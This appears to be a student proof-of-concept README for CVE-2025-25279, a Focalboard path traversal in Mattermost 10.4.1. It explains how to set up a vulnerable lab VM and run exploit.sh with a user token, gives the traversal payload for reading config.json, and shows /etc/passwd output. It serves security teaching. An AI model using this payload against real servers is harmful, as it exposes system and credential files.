🔥 CVE-2025-25279 — Mattermost 10.4.1

📤 Path Traversal in Focalboard allowing file exfiltration

🌟 Presentation

This proof of concept demonstrates the exploitation of vulnerability CVE-2025-25279 affecting Mattermost 10.4.1.
A flaw in Focalboard (the board management module) allows arbitrary file reading via a path traversal in attachments.

The exploit can exfiltrate:

• /etc/passwd
• /etc/group
• or sensitive Mattermost files, for example:
  opt/mattermost/config/config.json

The attack works only with an authenticated user account in vulnerable scenarios.

---

🗂️ Directory structure

• 📁 target : directory for creating the target box
• 📁 live : directory for creating target VM(s) and demonstrating the exploit
• 📁 src : possible auxiliary source code
• 📁 refs : directory containing articles and bibliography
• 📁 docs : associated documents produced during the project, including video recordings

---

🔧 Prerequisites

• Vagrant
• VirtualBox
• Project file set (target + live)
• A Mattermost account (PAT = Personal Access Token)
• Linux/Mac/Windows with Bash

📦 Downloading Mattermost

The target/ folder is not included (too large for GitHub).

Download manually: https://releases.mattermost.com/10.4.1/mattermost-10.4.1-linux-amd64.tar.gz

Then place the file in: target

Before deploying the VM

First go to the target directory and run:

cd target
make mattermost.box

Make sure you have the mattermost-poc box otherwise the VM will not work:

cd cve-2025-25279-mattermost
vagrant box add mattermost-poc target/mattermost.box

1. Deploying the vulnerable machine

Launch the VM

cd live/vm1
vagrant up

Connect to the VM

 vagrant ssh

Create a user in the web interface:

Open: http://localhost:8065

Create a token in the UI (user interface):

Profile --> Security --> Personal Access Tokens

2. Installing the exploit

From the host machine:

cd live/share
sudo apt-get update -y
sudo apt-get install -y unzip

chmod +x exploit.sh

3. Run the exploit

./exploit.sh

You will be asked:

PAT (Personal Access Token) :

👉 Enter a valid PAT from a Mattermost user.

📸 Example output (exfiltration of /etc/passwd)

===== CONTENT (start) =====
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
mattermost:x:999:996::/opt/mattermost:/bin/sh

Targeted file: config.json

To target a sensitive Mattermost file:

Modify at the top of the exploit.sh script:

TARGET_SUFFIX="opt/mattermost/config/config.json"
TRAVERSAL_PATH='../../../../../../../opt/mattermost/config/config.json'
L’exploit affichera alors le contenu du fichier config.json.

✒️ Authors

🟢 MAHAMMAD MOUSSE Abokor 🔵 PARNET cyril

🎬 Video demonstration

👉 A complete video demonstration is located in: live/Démonstration/video-poc-cve-2025-25279.mp4

🧩 Notes

This PoC is strictly intended for learning environments. Never use outside of an educational context or without authorization.